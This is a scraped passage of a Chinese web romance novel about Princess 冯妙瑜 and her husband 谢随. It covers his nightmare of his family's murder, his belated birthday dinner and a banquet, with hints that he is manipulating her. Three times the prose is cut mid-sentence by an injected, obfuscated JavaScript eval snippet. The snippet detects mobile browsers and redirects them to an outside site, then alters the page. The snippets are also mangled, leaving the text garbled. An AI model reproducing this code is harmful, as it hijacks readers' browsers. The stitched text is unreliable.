狭窄的马车内,年过七旬的祖父冲他微微一笑。初冬苍白的阳光洒在身上,母亲在一旁教妹妹翻花绳玩,父亲蹲在炭炉旁捣鼓着烤地瓜。马车颠簸了一下,一只半生不熟的地瓜骨碌碌滚到他的脚边。 谢随没有弯腰去捡起那只地瓜。他仰头长长吸了一口气,睫毛微颤,像是要把这一刻深深烙进心里。 “我们还有一个时辰进城。”谢随问。语气却是笃定的。 “差不多吧。” 祖父仍然乐呵呵的。虽然一把年纪遭到贬谪流放,他身上却没多少颓然,反而兴致勃勃。 “这里可真是冷啊。一直听说梅州的羊肉很有名,进城后我们先找家羊肉馆子打打牙祭怎么样?啊,说起来这里的油茶也很出名……” 没有羊肉吃,也没有油茶喝了。 半个时辰后,他们就会遇到早已经埋伏在路边的山匪。在这架马车里的六个人,最后只有他一个人不幸的活了下来。 但谢随还是附和着笑了笑,那笑意是从眼角流出来的,苦的。 “那就去如意斋吧,那里的羊肉做的好吃,油茶也煮的很不错。”谢随轻轻说。 他这话说得过于轻描淡写,就好像他已经在梅州生活了多年,于是祖父一脸奇怪地望着他,母亲也抬起头。 “随哥儿这是要去哪里?”她问。 谢随摇摇头,没有回答她。留给他的时间不多了。 他最后回头看了一眼,走出车厢,驾轻就熟的锁上了门。 “呦,您怎么出来了?外头冷,您快进去坐着,我们这就快到了。”赶车的中年人扭头冲他咧嘴一笑。 谢随也冲他笑笑。 “快到哪里了,你们的埋伏地点吗?” 一把剪刀瞬间扎进那中年人的脖颈里。剪刀是他出来前从母亲的绣线筐里顺的。中年人怒目圆睁,拼命挣扎起来,谢随只是个十五的文弱少年,他的胜算应该很大…… 但就像是预测到了他的行动,下一秒谢随猛地松手,趁着他失去平衡的一瞬间,膝盖跟着一顶,将那中年人一脚蹬下车。他接着拎起缰绳,驾车奔驶向另外一个方向。 整套动作行云流水,没有浪费一秒钟,没有丝毫拖泥带水,就像是提前演练过数千遍…… 他的确演练了数千遍。 在梦里。 这一次,他一定会找到救下所有人的方法。 —— 这晚冯妙瑜睡得不很安稳,人一有了心事就容易睡不着觉,翻来覆去好一会,好不容易入睡,迷迷糊糊梦见张氏冷冰冰的脸,还有凤仪宫廊下那只被关在金笼子里的鹦鹉……她是被身边的动响给惊醒的。 谢随似乎是魇住了。 他眉头紧蹙着,整个人从指尖到手臂都在剧烈地颤抖,像是想要扼住什么。 冯妙瑜吓了一跳,下意识伸手想叫醒谢随,却被他反手捏住了手腕。 他的嘴唇动了动,似乎是在急切地乞求着什么,但冯妙瑜凑近了也没听清楚他在说什么。 “谢随?” 他很用力地捏着她的手腕,冯妙瑜试了几次都抽不出来,只好使劲晃他的胳膊,希望这样能叫醒他。 谢随的眼皮颤动了两下,随后慢慢睁开了眼睛。 冯妙瑜就松了口气。 “你总算是醒了,方才吓死我了,你可是魇着了……” 她的话还没有说完,谢随突然起身抱她,他的力气大的出奇!冯妙瑜觉得她身上的骨头都快要被勒断了,她难受地挣扎。 似乎是感受到身下人的抗拒,谢随于是抱的更用力了,像是要把人按到怀里揉碎了。他迷迷糊糊还没完全从梦境中醒过来。 祖父,父母,妹妹,他又一次亲眼看着他们死去了。 十五岁的谢随输给了命运,二十三岁的谢随还是跑不赢命运。 哪怕是在他自己的梦里。 梦境的最后,又一次定格在妹妹谢宁攀着他的手无力垂落的那一瞬。 平心而论,他不是很喜欢谢宁。 谢宁从生下来就是万般宠爱,捧在手里怕摔含在嘴里怕化了,家里所有人,祖父和父亲母亲都一反对他的严厉,众星捧月似的围着她转。谢宁总是在他写功课看书的时候跑过来,哥哥哥哥的叫着,一会要他陪她去摘果子一会要去捞鱼,不答应她就耍性子闹腾,闹到他没办法不得不答应她为止。 任性的要命。 可她死的时候一声都发不出来了,连呼吸都无比困难,只能用眼睛看着谢随,那眼神痛的让他想哭出来。 他能做的只有固执地捂着她脖子上的伤口,血流的慢一点,少一点,坚持一会就会有人发现他们了,只要再坚持一小会……可她还是一点一点冰冷下去,眼睛里的光彩也散了。 谢随闭了闭眼睛,慢慢松开了冯妙瑜。 “不好意思。刚才做了噩梦,有点没回过神来。我没有吓到你吧?”谢随温声道,又恢复到了平日一派温和模样。 “没。” 冯妙瑜摇摇头,活动了下手腕。 他既然没有多说的意思,那她还是不问的好吧,她拢了拢衣领,又说,“我叫侍女给你煮碗安神汤来?” “不用。你继续睡吧。” 谢随说着起身去了隔间洗漱。 五更天的钟鼓声悠悠传来,原来已经是第二天,到谢随准备出门去点卯的时候了。 冯妙瑜双手合十在床上躺了一会,睡不着,她于是又翻身起来,披了件衣裳等谢随。 有的孩子什么都不需要做,就有大把的糖吃,而有的孩子必须又哭又闹才能换来几颗糖。其实没多少区别,因为到最后无论哪个孩子都是有糖吃的。冯妙瑜在心里默默想着,山就不就她也没关系,反正她长了腿可以去就山嘛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601223|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她做了个深呼吸,冲洗漱完回来的谢随微微一笑,拿过朝服帮他穿衣。 谢随愣了一下。 “公主,这种事情我自己来就好,你去休息……” 冯妙瑜微笑,正在系衣带的手上却微微用劲,谢随哽了一下,他准备要说的后半句话就被她硬生生给勒回肚子里去了。 “你我是夫妻,这么客气做什么?瞌睡的话,你出门后我自己会去歇着的,”她很快抬头看他一眼,又半真半假的抱怨,“你总得给我点亲近你的机会吧?在床笫之外。” 谢随敏锐地觉察到她的心情似乎不是很好。于是他很识趣的没再说出拒绝的话。 冯妙瑜十分满意,三下五除二帮他系上最后一处衣带,她后退半步歪头欣赏,那是一个漂亮的蝴蝶结。 谢随:“……” 算了。反正衣带藏在衣裳底下,没人看得见。就随她喜欢吧。 一起用过早膳,直到把谢随送出门后天都还没完全亮起来。实在是太早了,冯妙瑜在院子溜达两圈消食,又溜去书房处理了一阵子公事,才得了闲,榴红就过来了。说是商队的管事带人来取带给冯妙瑶的东西了,需要冯妙瑜亲自过去一趟。 说起来,那商队的大管事也是一位熟人,素烟的夫君,一个身材魁梧的大汉,容貌虽比不得苍宴惊艳,却胜在性情爽朗,又带着几分生意人不讨人厌的圆滑世故——和别扭,又不会说话的苍宴完全是两种人。 也难怪素烟会选择他,而不是苍宴了。 冯妙瑜看着他们装车,在清单上签了字,留他简单喝了杯茶,问了问素烟的近况,略聊了两句便匆匆让他尽早出发了。 她才送着商队出了巷子口回府里,苍宴便冲到了门口。 门口的小侍女一个五指张开捂着眼偷看,另一个则捂着嘴偷偷地笑。 苍宴一手扶着歪歪扭扭的玉冠,一手拎着裤腰带和长剑,沉静的黑檀剑鞘上刻着威严无比的麒麟和卷云。 衣衫不整,但来势汹汹。 苍宴扶正了玉冠,又抖了抖宽大的衣袖,银白色暗纹在阳光下流转,他活像只正在开屏的孔雀。 “那男的是不是过来了?人呢?他人在哪?让他是个男人就滚出来小爷我要和他单挑!” 美人就是美人,哪怕这种时候都美的让人赏心悦目。 冯妙瑜不由得在心里感慨一下,又十分庆幸自己让素烟的夫君尽早出发了,不然这疯子指不定在她府里惹出一桩血案。 “回去继续睡吧,人早走了。”冯妙瑜凉凉地说,转头就要走,却被苍宴闪身拦住。 “走了?怎么可能这么巧?你是不是知道我出来了,就把那个丑八怪偷偷藏起来了?我要单挑他!那样的小白脸根本配不上她!”苍宴气得直跳脚。 冯妙瑜无言。 苍宴这个人啊,难不成他觉得自己能打过素烟的夫君,素烟就能改变心意喜欢上他了? 算了,打又打不过,说了他也不会听,她也拿他没什么办法……冯妙瑜就抬步绕开他去了小厨房。 离谢随的生辰没几日了,她握拳给自己鼓鼓劲,今天一定要做出一碗能吃的面来。 30. 30 暮夏时节太阳依旧毒辣,只是院里的蝉鸣声越来越微弱,这大暑一过,接着就要立秋了。 半年过去,眼下正是户部一年中为数很多忙碌的时候之一。光是核对上半年的财政收支、调整下半年财政预算就已经忙得不可开交,何况还有日常的土地、赋税、户籍等等事务压在肩上——但这都是户部自己的事情,和在秘书省当差的谢随原是没一点儿干系的。 只是时任户部尚书的罗大人和秘书省监王大人交好,罗大人案牍劳形之余,便动了找一向人多事少的秘书省借个人用用的法子。 王大人想都没想就安排了谢随去。 一来谢随可以跟着户部的人学些本事,二来他新入官场,多认识结交些朋友百利而无一害。 谢随明白这是王大人的一片美意,便爽快应下了。 只是户部不同于秘书省,诸事繁忙。 谢随一连五天只有一天回了府休息,另外四天都直接宿在衙门里——唯一回府休息那天还是罗大人心里过意不去,特地给他放了天假。 眼看着谢随忙得脚不沾地,回府后累的倒头就睡,冯妙瑜自然是心疼的。 不过这份心疼没持续太久。 因为唯一休息那日,像是要把这没回府的几日补上,谢随拉着她作弄了一天。从早上折腾到夜里。冯妙瑜也不知道他哪来这么大精神,一开始她还有精神攀着他软声叫他慢些,到后面她嗓子都哑的说不出话来,他倒还有劲抱她去清理……甚至翌日一早,这人还早早起来,神清气爽的上户部衙门应卯去了。 冯妙瑜不禁有些怀疑,究竟是她体弱,还是谢随这人的精力太过于变态。亦或是两者皆有之。 谢随早上出门后,冯妙瑜一觉睡到晌午才起。 这日正巧轮到翠珠和榴红当差,两人一同进来伺候她梳洗。 进门时,翠珠先是身子一扭硬把榴红挤去了后面。到了给冯妙瑜梳头的时候,翠珠又悄悄用胳膊肘顶榴红,榴红一个不留心,手里的梳子就掉在了地上。 翠珠于是笑道:“榴红,你怎么这样不小心呢?还是我来吧,你到底年纪轻,又没伺候过人,手笨也不奇怪,来,你去后面看着我是怎么做的。” 翠珠的动作隐秘,又当着冯妙瑜的面。榴红没有证据不好说什么,只能吃个哑巴亏,一脸不情愿地让开了。 这两人从进门起明争暗斗就没断过。 冯妙瑜都看在眼里。 翠珠这是见榴红分了她的权心里不痛快,在耍性子下马威呢。 冯妙瑜在心里叹气。 毕竟当初提拔榴红上来就是为了分翠珠的权,何况这种事冯妙瑜就训斥了翠珠也没多大用处——治标不治本,指不定翠珠下去加倍给榴红穿小鞋。她管得了一次,还能管得了十次么。 冯妙瑜便睁一只眼闭一只眼了,只在翠珠过分的时候咳嗽两声提醒一下,剩下且交给榴红自个处理,权当是对她的考验吧。 若是她自己不争气,一直被翠珠压一头,想来日后也很难接替翠珠管束好下面的丫鬟婆子几百号人。 等用过午膳,冯妙瑜又叫翠珠几人过来交代谢随生辰的事情。 谢随的生辰她原本是打算热热闹闹大办一场的,这还是她头一次操办宴席,自然格外看重。 只是眼下谢随忙的团团转,生辰那日他有没有空闲回府用膳都不好说,遗憾归遗憾,也只能从简了。 “把琵琶班子,说书的这些都去掉吧。” 冯妙瑜靠在临窗的小榻上,也不知道是不是秋天近了的缘故,她近来总是困得不行。她打了个哈欠,继续吩咐道:“这次姑爷的生辰就在花厅简单办了,生辰面、红蛋,再叫厨房多做几样姑爷喜欢吃的家常菜就行。” “那奴婢去和厨房商量先拟个菜谱出来请您过目。”榴红立马抢在翠珠前面应道,一旁翠珠气得鼻子都歪了。榴红装作没注意到,殷勤问道:“公主,可要再备些酒水?” 冯妙瑜稍微犹豫了一下。 说起来除了成亲那日,她没怎么见过谢随饮酒,他平日好像喝茶多一些。她正准备开口,这时候陈嬷嬷过来了,身后还跟着个穿太医院官服的人。说是来给她请这个月的脉的。 那穿着太医院官服的人年纪很轻,不是冯妙瑜所熟悉的朱太医。 “你是?朱太医呢?”冯妙瑜疑惑道。 “微臣太医院医正,贾仁。见过公主。”那人上前行了礼,又解释道:“朱大人因染了风寒不能见人,这段时间暂时由微臣代朱大人的班。” “你和太医院院令贾济大人是什么关系?” 冯妙瑜突然想起来总管太医院的院令也姓贾,不由多问了句。 “贾济大人正是家父。” 贾家世代从医,在盛京中也小有名气,太医院院令的贾济更是有“小华佗”的称号,虎父无犬子,想来这个贾仁的医术应该不差。冯妙瑜在心里面思忖着。 “你来的正好——”冯妙瑜挥挥手叫翠珠几人先下去,她这几日正想着要调养调养,“本宫最近总是觉得乏得很,也不知道是怎么一回事。你过来看看。” 贾仁低头诺了一声,上前替冯妙瑜诊了脉,又细细问她最近都吃了些什么,可有用过什么药,睡得怎么样等等。好一番盘问后,他才道:“依微臣之见,公主贵体并无大碍,只是有点气血不足。这在女子中是很常见的,想来您觉得困乏,一来是这气血不足,二是换季的缘故。微臣一会给您开个方子,您照着这个方子调养上十天半个月就好了。” “那劳烦贾太医了。你这个方子不会太苦,不会太难吃吧?”冯妙瑜试探道。 识趣的贾太医从善如流,“那不如微臣给您开个药膳方子,几味药材加上鸡肉或者羊肉炖煮,既滋补,味道也不差。” “如此甚好。” 冯妙瑜满意地点点头。 这位贾太医年纪轻,到底心宽好说话些,要换了朱太医,她可万万不敢提出旁的要求。 陈嬷嬷就领贾太医下去开方子了。 冯妙瑜本想叫翠珠等过来继续交代生辰宴的事情,可就这么一会的功夫困劲又上来了。她打了个哈欠,上下眼皮之间好像有磁力吸着。分明她已经睡一个早上了,怎么还是困呢。往年都没有这样过。 冯妙瑜想着想着,竟迷迷糊糊靠着软枕睡着了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629745|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 谢随从户部衙门出来已是亥正。 晚风里夹杂着初秋的寒意,长街上空无一人,夜实在是深了,就连灯火都没剩下几盏,黑洞洞的街巷,更夫打更的声音远远飘来。 户部的差事总算是告一段落。 谢随长长吐了口气,他看着外面的天空,竟有种恍若隔世的感觉。 “谢大人,你也才回府去?这几日可真是辛苦你了。”身后有户部的官员同他打招呼。 “哪里哪里,这都是安之应该做的。这些天来没给诸位大人添麻烦就好。”谢随一拱手,客套回去。 “平康坊里新开了家酒楼,里面有我两成份子,改日我做东,再加上孔大人和蒲大人,咱们一同去喝酒听戏啊。” 那人也在衙门里连着熬了好几宿,眼下顶着一大片乌青。 他说着拍拍谢随的肩,两人像是熟识多年的老朋友。在一个衙门里同吃同住,共事了近十日,没有混熟才是件怪事。 谢随就笑着应下,两人又闲聊了三两句,便拱手作揖各自打道回府了。 这几日在衙门里埋头处理公事实在是闷得慌,左右户部衙门离崇仁坊并不远,谢随就顺着街巷慢慢溜回去。等他走到长公主府都快到子时了。 三间的朱漆大门,两侧各有一只威风凛凛的大石狮子,风灯火光摇曳,守在门口的小厮见谢随回来了,立马起身笑脸相迎,“姑爷,您回来了?” “嗯。” 心底升起淡淡的暖意,过了好半晌,谢随才应了一声。 孤身一人穿过空荡荡的长街,长街尽头有一盏为你而亮的暖灯,和一个等你的人,那种感觉其实很不错。哪怕那个等你的人只是个忠于职守,看门的小厮。 长公主府内一片寂静。黑夜中灯火通明的花厅就格外醒目。 “都这个时候了,公主在做什么,还没睡下?”谢随问。 “这个奴才就不知道了。”那小厮笑着把谢随引到了花厅外。 花厅内外张灯结彩,一派喜庆气象。 可今日只是个寻常日子,并没有什么节日,甚至连个节气都不是。 “这是怎么了?”谢随奇怪道。 那小厮无奈,这位姑爷怎么忙得连自己的生辰都忘记了?不过他并没有答话,反而是悄悄退下了。 冯妙瑜差不多从酉正就开始等谢随,等着等着她就靠在椅子上睡着了。直到听见有脚步声进来才懵懵懂懂睁开眼睛。 “你可算回来了。” 冯妙瑜揉了揉眼睛,扶着椅背起身。她平日里为了树立威信难免需要端着些架子,这个时候的声音里稍带着点鼻音,倒有点撒娇的意味,尽管她本人并没有注意到。 谢随的身体无意识的紧绷了一下。 “公主这是在……等我?” “是啊。”冯妙瑜点点头,她今日刻意打扮了一番,华贵的榴红色长裙衬得皮肤愈发白皙,羊脂软玉一般,又因为睡眼微微朦胧着,整个人身上有种轻松的烟火气。 “这会应该还没过子时,谢随,祝你生辰快乐。” 闻言,谢随整个人愣在了原地。 31. 31 他的生辰? 红木圆桌上放了细纱台罩,细纱台罩下面摆着一碟表皮油黄的蒸鸭,一碟黄豆大小的珍珠团,一盅火腿汤煨的银鱼羹,红蛋,青釉的八曲海棠花式碗里盛着细细长长的面条。 一年到头三百多个日子,每天都有人出生。太寻常了。寻常到一个人的出生本身哪里就值得专门设宴庆祝了——能让这样寻常的一天变成一个特别节日的不是一个人出生的事实,而是在这个世界上还有人在乎你爱你。家人,朋友,有人因为你的诞生,因为能与你相遇而高兴。 “你等了多久?”谢随轻轻问。 他揭开台罩。其他的还好,至少还是能看的。只有那碗面完全坨住了,面条一根根粘连在一起,像个新手编出来的草盖子盖在碗里,看起来甚至有几分滑稽。 她肯定是等了很久的,因为都这个时候了。 “其实也没多久。” 冯妙瑜不想让谢随有负担,于是故作轻快地说。 她的目光落在桌上,那面都坨成那个样子还怎么入口。但过生辰怎么能没有生辰面,她咬了下唇有些懊恼。其实应该等谢随回府后再煮面的,她怎么就睡着了呢。 “那面你先别吃,我去重新做一碗。很快就好。” “不碍事。”谢随拿起筷子。 那面只有小半个指头宽,从头到尾细细长长的一条,做面之人显然在上面花了不少心思。只是花再多心思,已经坨了的面能有什么好滋味,吃起来如嚼软蜡般。 冯妙瑜坐在旁边看着他,她似乎很紧张,十指紧紧交叉在一起,那种紧张中还带着一点隐秘的期待。不过看谢随吃一口面的功夫,她就眨了不下二十次眼睛。 “我还是再做一碗吧。”冯妙瑜说着就要起身。 “不用。” 谢随伸手轻按在她肩头,又问,“我今晚要是宿在衙门里没有回府,你难道还要一直等下去吗?” “可你这不是回来了吗。” 冯妙瑜笑笑,抬手支着沉甸甸的脑袋,“怎么可能一直等下去,若过了子时你还没有回来,我就打算去睡了。” 过了子时,他的生辰也就过去了。 傻里傻气。 世上怎么会有这么傻的人。谢随突然想,精心准备好一切,等一个根本不知道会不会回来的人,就为在这天结束前笑吟吟对那人说一声生辰快乐?太蠢了,就算说出来了又能怎样,付出和投入完全不对等的事情。她的脑袋悄悄往下滑了一点,然后又一个激灵抬起头来,继续微笑着看着他,小心翼翼的,似乎他的一点点喜怒哀乐都比她自己的感受还重要。 想来情爱这东西还真是可怕,竟能叫一个人心甘情愿俯首称臣,低微到尘埃里去。 就像只雨天夜里被遗弃在路边的幼猫,见到有人停下脚步伸出手就喵喵叫着贴上去拿脑袋使劲地蹭人的手,它以为自己得到了温暖。殊不知那只伸过来的手其实是想拿它的皮毛去暖自己的手。 可悲过了头,倒显得有些可怜了。 大概是那碗面太凉,太黏腻了,顺着咽喉流下去连带着他心里也黏糊糊堵得难受,像置身于南地闷热的梅雨季节,烦躁不安,却也无处可躲。 谢随沉默了许久,垂眸道:“公主可有什么愿望?” “嗯?”冯妙瑜揉揉眼睛,因为困倦眼框微微泛红,“我的愿望?你问这个做什么,今日是你的生辰。” 该许愿的是他才对。 “公主有什么愿望?”谢随一脸固执,又问一遍。 冯妙瑜很认真地想了一会,她好像也没什么想要的了,风从半开着的窗户吹进来,有点冷。她就摸了摸胳膊,“愿望啊。希望这个夏天能长一点?” 生命中美好的事情似乎都在这个夏天翩然而至,所以她希望这样的时间能长久一点,再长一点。这个夏天最好永远不会结束。 “妙瑜,别闹。”谢随无奈地看着她。 长寿也好,暴富也罢。愿望这种东西总得是能实现的吧?想让夏天再长一点算哪门子的愿望?小孩子的梦话么? “那,明年你能陪我过一次生辰吗?”冯妙瑜想了想又说,语气里带着点试探。 谢随微微一愣。有一瞬间他以为是自己听错了。 就这样? 作为一个愿望来说,这个愿望似乎有点太小了。 就好像河里的老神仙问孩子是掉了一个金斧头还是掉了一个银斧头,孩子却说我掉了一块鹅卵石,就您脚边那块,麻烦您老挪挪脚……他原以为她会提出更任性的要求的。 “好。你的生辰在什么时候?” “还早着呢,要等到春天了,”冯妙瑜说,“唔,就是我们头一回见面那日,在书院外面的长廊里。” 谢随看着冯妙瑜,头一回见面那日?他其实已经记不太清了,只是隐约记得那时天色阴沉,苍白的藤蔓,站在长廊的另外一头的她也是苍白疲倦的。 太违和了,他突然想。 完全不像传闻中那个野心勃勃的长公主。 传闻…… 如果那些传闻不全是真的呢? 想这些做什么。谢随在心里摇头。大抵是这几日累过头了吧,他竟然也变得多愁善感起来了,冯妙瑜那些传闻是真是假,和他又有什么关系? 他们不过是对露水夫妻罢了。 冯妙瑜已经支着胳膊迷迷糊糊快睡着了。 “起来,回屋里再睡。”谢随轻拍她的肩。 冯妙瑜半梦半醒间“嗯”了两声,身子一偏,脑袋就跟着枕在谢随肩膀上。 “公主?” 没有回应。 “妙瑜?” 还是没有回应。 她的侧脸贴在他肩膀上,甚至还扭身换了个更舒服的姿势,伸手环着他的肩膀。睡得很安稳。好像身边这个人是可以全然信赖和托付的。 都这个时候了,侍女早被冯妙瑜打发下去休息了,在这里睡怕是要着凉。谢随轻轻叹了口气,打横抱起她回了听荷轩。 —— 一眨眼的功夫立秋就过去了。 今年的秋老虎是纸糊的,三两场秋雨,威风凛凛的秋老虎就变成了湿答答的落汤猫,暑热散去,秋高气爽。 没多久就到了赵氏邀请两人去赏花宴的日子。 谢随早上要先去衙门应个卯,就穿着青色官服。他绕过屏风进来拿香囊时冯妙瑜正对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655686|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着镜子戴耳坠,水透的翡翠玉扣,她穿了件淡青色的纱衣,耳垂雪白。谢随上去随手帮她戴好耳坠,手指无意扫过她冰凉的皮肤,不由得微微皱眉。 “怎么不穿那件?”谢随指了指扔在一旁鹅黄色衫子,那件明显更厚一点。 “那件显胖。” 冯妙瑜低头看了眼自己的腰身,抿着嘴一脸不快地说。 真是哪壶不开提哪壶。 入秋后也不知道是不是天气凉下来的缘故,她的胃口比夏天的时候要好很多,又因为困盹总是躺着睡着,就难免长肉。 说起来这肉长得也忒没眼力见,但凡往上长点,或是往下长她都不会有一点意见,可那肉偏偏就要长在腰上。 难得有人邀请她,还是和谢随一起,她才不要裹成个粽子。难看死了。 “也不胖啊。” 谢随伸手就往她的腰上摸,摸着摸着手指就滑到了衣带边缘,冯妙瑜立刻警觉起来,没好气的一把拍开他的人爪子。 这大白天的动手动脚做什么。 待会还要出门呢。 “你不懂。”冯妙瑜就说。 谢随其实也没想在这个时候乱闹,只是下意识手就去了那个地方……他咳嗽一声,又说,“到了下午风凉,穿的这样单了凉,你这个月又要肚子疼了。” 冯妙瑜开了妆奁挑了只镯子戴上,随口说,“最近是怎么了,你好像和之前不太一样了。” 大抵就从谢随的生辰后,他突然就对她关心起来了,嘘寒问暖,无微不至。甚至前几日在她小日子里忙前忙后,又是帮着递姜糖水,又是帮她暖肚子。 他一向是体贴人的,只是近来有点太过体贴了,像是变了个人。 “这样不好吗?” 谢随笑笑,直勾勾看着冯妙瑜的眼睛。看似深情的眼神,其实只是想从她的眼神中判断她在想什么,以便应对而已。 一切都很顺利的在他计划内,万事俱备,这戏台子都已经搭好了,当然不能让她在这个关键的时候因为小小的风寒或者痛经而掉链子。 “你这样体贴我我当然高兴,只是觉得有点怪怪的。”冯妙瑜看着镜子,微微张着嘴用指尖一点点抹去唇角多余的口脂,“好像有点欲盖弥彰的感觉。” “你难不成背着我偷偷做了对不起我的事情?” 说完,她自己都笑了。 “我胡说的。开个玩笑,你才不会骗我呢,对吧?” “我骗你做什么。” 谢随俯身低头亲她,她的口脂是浓郁的玫瑰味,嗲嗲的在唇齿间化开。冯妙瑜的后腰抵在妆台上,单手搂着他的脖子,两人分开喘息的间隙,谢随无意在妆奁中瞥见了一支眼熟的簪子。 不过是那个林修远送的一支破簪子,她竟然还宝贝的放在妆奁上层显眼的位置。趁她背对着妆奁,他鬼使神差地将那支簪子塞进妆奁最底下。 两人的气息又交缠在一起,谢随突然在她耳边轻轻问:“那如果我真的骗了你呢?” 阳光斜斜从格窗里透进来,冯妙瑜的脸色微微泛红,眼睛却很清澈。她看着天花板想了想才说,“那我大概会很伤心,伤心到一百辈子都不会原谅你。” 32. 32 冯妙瑜最后还是换了那件鹅黄色衣裳,又补了妆,于是等她到仁亲王府就迟了。 她先去见了仁亲王冯重暄,给他行了礼。她这位皇叔一向悠游自在惯了,摆摆手叫她不必拘礼,说罢便丢下冯妙瑜兴致勃勃地跑去苑子里陪女儿挖土玩,绣金团龙纹衣摆就垂在泥土里。倒是没有一点亲王的架子。 “你皇叔前些日子得了几盆罕见的绿菊,就嚷嚷着说一定要办个赏花宴。只是毕竟太后娘娘还在病中,我们也不好大办。就只是请了些熟人一起聚聚,图个热闹。公主只管玩得开心。”赵氏的声音从旁边传来。 冯妙瑜笑着点点头,眼角余光又看到仁亲王陪女儿玩耍一大一小两个背影。 两个人的孩子。 她心里微微一动。 因为两个人的结合而诞下的新生命,一个和她,和她的爱人血脉相连的产物。这种联结有种说不出来的亲密在里面。冯妙瑜突然就想,如果她和谢随有一个孩子……不论是女孩还是男孩,那应该会是个很聪明很漂亮的孩子吧。就像它的生父那样。 她垂下眼睛,抿嘴很快地笑了一下。 也不知道谢随喜不喜欢孩子。 他会不会陪它玩耍,教它读书写字,和她一起看着它长大? 若有一个孩子跑来跑去,长公主府里也会热闹起来——也会更像一个家的感觉吧。 赵氏见冯妙瑜眼中闪过一丝期望,也不难猜出冯妙瑜心里在想什么。她亲热的挽着冯妙瑜的胳膊穿过游廊。 廊架上垂着一串串橙黄色凌霄花,再往前是一片假山,绕过假山后面就到王府花厅了。眼下众宾都聚在花厅里赏花。 凌霄花影扑簌簌落在两人肩头。 “妾身瞧着公主好像丰腴了些,可是有动静了?”侍女在两人身后远远跟着,赵氏扫了眼冯妙瑜的腰身,低声问道。 “什么有什么动静?” 冯妙瑜愣了一下才反应过来,连忙摇头摆手。骤然被人问到这个,她有些羞赧。 “哪里有这么快……虽说我那月事一向不准,但前两日才来过。大概是我最近吃的有点多,又总犯困不大爱动弹的缘故吧。” 冯妙瑜扯了下衣襟,心里十万分后悔听了谢随的意见穿这身鹅黄色衣裳。 暖和是暖和了,显胖也是真显胖——都让人家误会她有孕了。 “哎呀,都是我眼拙口快的。还请公主不要怪罪。”赵氏连忙捂住嘴。安静了一小会,她又小声道:“不过这事情可说不准。有了身子初期见点红也是有的,就跟月事似的,妾身当年就是这样。我看稳妥起见,公主最好还是找个太医瞧瞧。这头几个月是最要紧的,不怕一万就怕万一,若真是有了,可马虎不得。”① “前几日已有太医来诊过脉了。没别的,就说气血不足,要补补。” “既然朱太医这么说,那就是妾身想多了。”赵氏笑笑。 朱太医的医术是出了名的厉害。尤其是在号脉上,整个太医院加起来也没几个人敢说自己能比得过他。 “这次不是朱太医看的。朱太医生病了。是个姓贾的年轻太医来诊的脉。太医令贾济的儿子,想来医术应该也不差的。”冯妙瑜说。 “原来是他。”赵氏点点头,也不多谈这个,把话题转到了今日的赏花宴上。 —— 冯妙瑜在仁亲王府中玩了大半日。 世家的这些宴会办来办去,其实都大同小异。赏菊宴,赏月宴,酒船宴……名字起的花里胡哨,但说起来也不过是喝酒吃茶,听曲看戏这些,见多了就觉得无趣得很。 午膳后赵氏邀她一同去后院听戏。 冯妙瑜坐在一堆太太中间,伶人在戏台子上咿咿呀呀唱着一出《南柯梦》,她听着听着,那股困劲就上来了。 难得受邀,冯妙瑜不想显的太不合群。又硬撑着坐了会,等这一出唱罢,才和赵氏打了个招呼,赵氏还要招待其他人分不开身,便叫了两个侍女带冯妙瑜去偏房里歇息。 等冯妙瑜醒来,都已经到申时初了,天边飘浮着一缕淡橘色的云丝。 “姑爷可过来了?” 冯妙瑜一只手扶着侧额,不知道是不是睡过了头的缘故,她的脑袋昏昏沉沉的,有点像染了风寒的感觉。 “已经来了许久了,”翠珠扶着冯妙瑜起身整理衣妆,“姑爷先前过来看了您,这会应该在后院陪着亲王殿下下棋。要奴婢叫他过来吗?” “不用,我过去找他吧。” “公主。姑爷,关于姑爷我……”翠珠的嘴皮动了动,欲言又止。 “嗯?你说姑爷怎么了?”冯妙瑜抬手调正鬓间的步摇。 姑爷似乎目的不单纯。 翠珠闭上眼睛,但她没有任何能拿的出手的证据。说到底这里面也有很多是她的猜测。况且要解释清楚一切,势必要将她做过的一切和盘托出。犹豫再三,她到底还是没有说出来勇气。 于是她摇摇头,干巴巴地说,“也没什么。奴婢带您去找姑爷。” —— “是我输了。” 冯重暄看着棋盘思忖许久,轻叹一声,最后将手中的黑子扔回棋盒。小厮悄无声息的上前添茶,收拾棋盘。 “承让了。殿下棋艺超群,谢某今日只是好运罢了。”谢随说。 